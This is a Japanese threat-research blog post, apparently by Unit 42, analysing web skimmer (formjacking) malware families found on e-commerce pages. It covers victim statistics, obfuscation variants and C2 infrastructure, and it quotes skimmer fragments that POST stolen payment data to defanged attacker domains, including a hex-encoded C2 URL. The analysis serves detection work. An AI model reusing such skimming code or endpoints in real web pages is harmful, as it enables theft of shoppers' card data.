This post is also available in: English (英語)
概要
フォームジャッキング攻撃は近年最も急速に増加しているサイバー攻撃の1つです。過去のブログ「詳説 フォームジャッキング攻撃 処理の流れとテクニック」でも説明したように、フォームジャッキング攻撃はデプロイは簡単でも検出は困難で、特にeコマースサイトへの攻撃で攻撃者に広く使用されています。2020年5月から9月までの間で、Unit 42はフォームジャッキング攻撃を受けた平均65,000件の悪意のあるHTMLページと24,000件のURLを検出しました。
本稿では最も広く使用されているフォームジャッキング攻撃の1つ「Webスキマー」について詳しく考察します。Webスキマーのサンプルをいくつか示し、攻撃中にデプロイされた攻撃ベクトルについて詳しく分析します。このブログがセキュリティリサーチャーにとって、実環境でWebスキマー攻撃がどのように発生するかを理解し、効果的な検出および防御メカニズムを開発するための一助になることを願っています。
パロアルトネットワークスの次世代ファイアウォールをご使用のお客様は、WildFireおよびURLフィルタリングセキュリティサブスクリプションによってフォームジャッキング攻撃から保護されています。
被害者分析
私たちはWildFireを使い、2019年10月から2020年10月までの間にWebスキマーマルウェアに侵害されたHTMLページを351,972件検出しました。これらのサンプルは6,684個の固有ドメイン名に属していました。
各ドメイン名の地理的な位置を導出して、図1に示すヒートマップを生成しました。このヒートマップは、大多数のドメイン名が米国にあることを示しています。また、ドメイン名はアフリカやオーストラリアを含む、ほぼすべての大陸に広く分散しています。
図2はドメイン名が属する国上位8カ国を示したものです。構成比が一番高いのは米国で、注目すべきは上位各国はみな国民の社会経済的地位が比較的高い点でしょう。これについては納得がいきます。ほとんどのスキマー攻撃はeコマースサイトを標的としていて、こうしたサイトに引き寄せられるのは購買力のあるユーザーだからです。
Webスキマーファミリ分析
Webスキマー攻撃を理解するためにスキマーサンプルを分析した結果、スキマーHTMLページは、レイアウトやスタイルは異なるものの、同じようなJavaScriptコードを共有していることがわかりました。2019年10月から2020年10月までの間に収集した351,972件のHTMLページから、10,764件の悪意のある固有なJavaScriptスニペットを抽出することができました。
また、VirusTotalと自動化ツールを使い、特徴や機能に基づいて63種類の異なるマルウェアファミリを識別できました。図3は各スキマーファミリ関連のHTMLサンプル数を示したものです。すべてのマルウェアファミリのうち、よく使用されているものは19ファミリで、それぞれ1,000個以上のサンプルが確認されました。残りの44ファミリは、全ファミリ合わせて3,612ページでしか確認されませんでした。
図3からは、悪意のあるWebスキマーページの27%が、最もよく使用されているスキマーファミリ(図3のfamily1)に属することがわかります。さらに、1つのページが複数のスキマーファミリに属する可能性があることを考慮すると、上位3つのファミリ(family1、family2、family3)ですべてのWebスキマーページの65%を占めていることがわかります。
また、複数の悪意のあるJavaScriptが埋め込まれているページもありました。このようなページにおいて、異なるタイプのスキマーが意図的に一緒に使用されていることを示す証拠はありませんでした。むしろ、これらのページは、互いに無関係の異なる攻撃によってランダムに侵害された可能性が高いと思われます。
Webスキマーのケーススタディ
2019年10月から2020年10月にかけ、スキマーの隠蔽テクニックとコマンド&コントロール(C2)通信機能に進化が見られました。とくに図3に示した合計34,004サンプルのfamily7が典型的なスキミング攻撃であることがわかりました。本セクションでは、スキマーのしくみを理解するために、family7を詳しく調べていきます。また、family7のWebスキマーサンプルの複数の亜種を示します。これにより、セキュリティリサーチャーは、Webスキマー攻撃の複雑性とポリモーフィズムについて、とくにコードの構造や隠蔽テクニックの使われかたをよく理解できるようになるでしょう。
それでは、family7でよく見られるスキマーサンプルの1つから抽出したJavaScriptコードを見ていきましょう。以下のサンプル1をご覧ください。
攻撃者によって支払情報が盗まれ、データがPOSTリクエスト経由でC2サーバー(https://informaer[.]net/js/info_jquery.js)に送信されたことがコードからわかります。関連する関数を以下に示します。
e294b002686cad2df01bb59e3e2299f3e:’https://informaer[.]net/js/info_jquery.js’
… http.open(‘POST’,be20b6410993ea4c7a48767775856514b.e294b002686cad2df01bb59e3e2299f3e,true); |
JavaScript文法の特性で、コードはさまざまな方法で表示可能です。各サンプルのコードが互いにほぼ同じでも、改良してまったく別の構造に書き直すことができます。以下のサンプル2はfamily7のコードの別亜種です。
サンプル1では、関数宣言に名前を付けてJavaScript関数を定義していました。サンプル2では、従来の方法を使用してJavaScript関数を定義しています。侵入防止システム(IPS)シグネチャを使用してサンプル1とサンプル2の両方を検出・捕捉するには、両方の定義方法を考慮してパターンを記述しなくてはいけません。またこのサンプルでは、C2サーバーは機密情報を盗むためにhttps://cloudservice[.]tw/lib/jquery.phpを指しています。
難読化とポリモーフィズムは、悪意のあるコードの配信にも広く使用されています。悪意のあるコードを書き直すのではなく、javascript-obfuscatorやjfogsなど数多くのオープンソースツールを利用することで、検出を容易に免れることができます。以下に、family7から抽出した別のコードを示します。
このサンプルでは、C2サーバーのURLは16進数形式でエンコードされています。
"\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6F\x6E\x6C\x69\x6E\x65\x73\x74\x61\x74\x75\x73\x2E\x73\x69\x74\x65\x2F\x6A\x73\x2F\x73\x74\x61\x74\x75\x73\x2E\x6A\x73" |
16進数文字列をデコードされた文字に変換すると、C2サーバーが"https://onlinestatus[.]site/js/status.js"を指していることがわかります。
上に示したサンプルのほか、family7では高度に難読化された悪意のあるコードも確認されました。これらのサンプルには異なるコードが含まれていますが、そのロジックや主なコードフローは似ているか、まったく同じでした。侵害されたWebサイトには、サイトごとに異なるコードがデプロイされているようで、1パターンしか持たないIPSシグネチャでは検出されにくくなっています。
ここで取り上げるべきもう1つの事実は、C2サーバーのURLがJavaScriptで変数として記述されており、攻撃者が比較的容易に改ざんできる点です。データセットを調べた結果、他の多くのスキマーサンプルでも、デコード/難読化解除後に、異なるC2サーバーを指しているものの、同じコードが使用されていることがわかりました。
図4は、family7から抽出されたすべてのC2サーバーとその使用状況統計を示しています。
図4から、family7の93%のWebスキマーサンプルで8つのドメインが使用されており、スキマーマルウェア攻撃が多くのC2サーバーを稼働させていることがわかります。C2サーバーがブロックまたは検出された場合、攻撃者は容易にそのC2サーバーを新しいドメイン名に置き換えることができます。
すべてのC2サーバーを特定することは非現実的です。悪意のあるJavaScriptサンプルの多くは、自動化を適用できない複雑な手法で高度に難読化されているためです。コードが進化し続け、IPが定期的に変更されることも、稼働するすべてのC2サーバーを収集するのを難しくしています。
また、一部のC2サーバーが複数のファミリで使用されていることも確認されており、これらのファミリが同じ攻撃によって管理または操作されている強力な証拠となっています。例えば、上述のサンプル2にあるhttps://cloudservice[.]tw/lib/jquery.phpは、別のファミリでも検出されています(図3の"other")。
弊社はWildFire内でフォームジャッキング攻撃を対象とする高度な検出するモジュールを開発しました。図5は、過去5か月間(2020年5月~9月)における悪意のあるHTMLページと固有URLの月次検出件数を示したものです。平均でWildFireはフォームジャッキング攻撃を受けた65,000件の悪意のあるHTMLページ(図の"all hit")と24,000件の固有URL (図の"unique url hit")を検出しました。検出されたすべての対象には検証用の追加分析が自動で実施されます。WildFireがフォームジャッキング攻撃を正確に検出・識別し、URLフィルタリングがそれらのURLを悪意のあるURLとして識別・分類します。
結論
Webスキマーは、侵害されたWebページに悪意のあるJavaScriptコードを挿入して機密情報を盗む、一般的なフォームジャッキング攻撃です。本稿では2019年10月から2020年10月にかけてスキマー攻撃を受けて感染した351,972件のHTMLページを分析し、スキマーマルウェアは非常に見つかりにくいこと、そして進化は続いているということを突き止めました。Webスキマー攻撃の痕跡は、あらゆる所で検出されました。
セキュリティチームがスキマーマルウェアを余さず検出するのは容易ではありません。スキマーマルウェアが使う最新手法をつねに把握・警戒し、臨機応変に検出戦略を策定していく必要があります。
Webサイト管理者は、組織内のすべてのシステム、コンポーネント、Webプラグインにパッチを適用することで、システム侵害の可能性を最小限に抑えられます。またWebコンテンツの整合性チェックを定期的に実施することもWebスキマー攻撃の検出・防御に役立ちます。
インターネット利用者はオンライン バンキング サービスに異常な使用状況や不正な支払いがないかどうか、オンラインアクティビティを追跡しておくことをお勧めします。直近のオンラインでの購入によってクレジットカード情報が盗まれたと判断される場合は、銀行に連絡してただちにカードを凍結ないし交換する必要があります。
パロアルトネットワークスの次世代ファイアウォールをご使用のお客様は、WildFireとURLフィルタリングセキュリティサブスクリプションにより、フォームジャッキング攻撃から保護されています。
IOC
|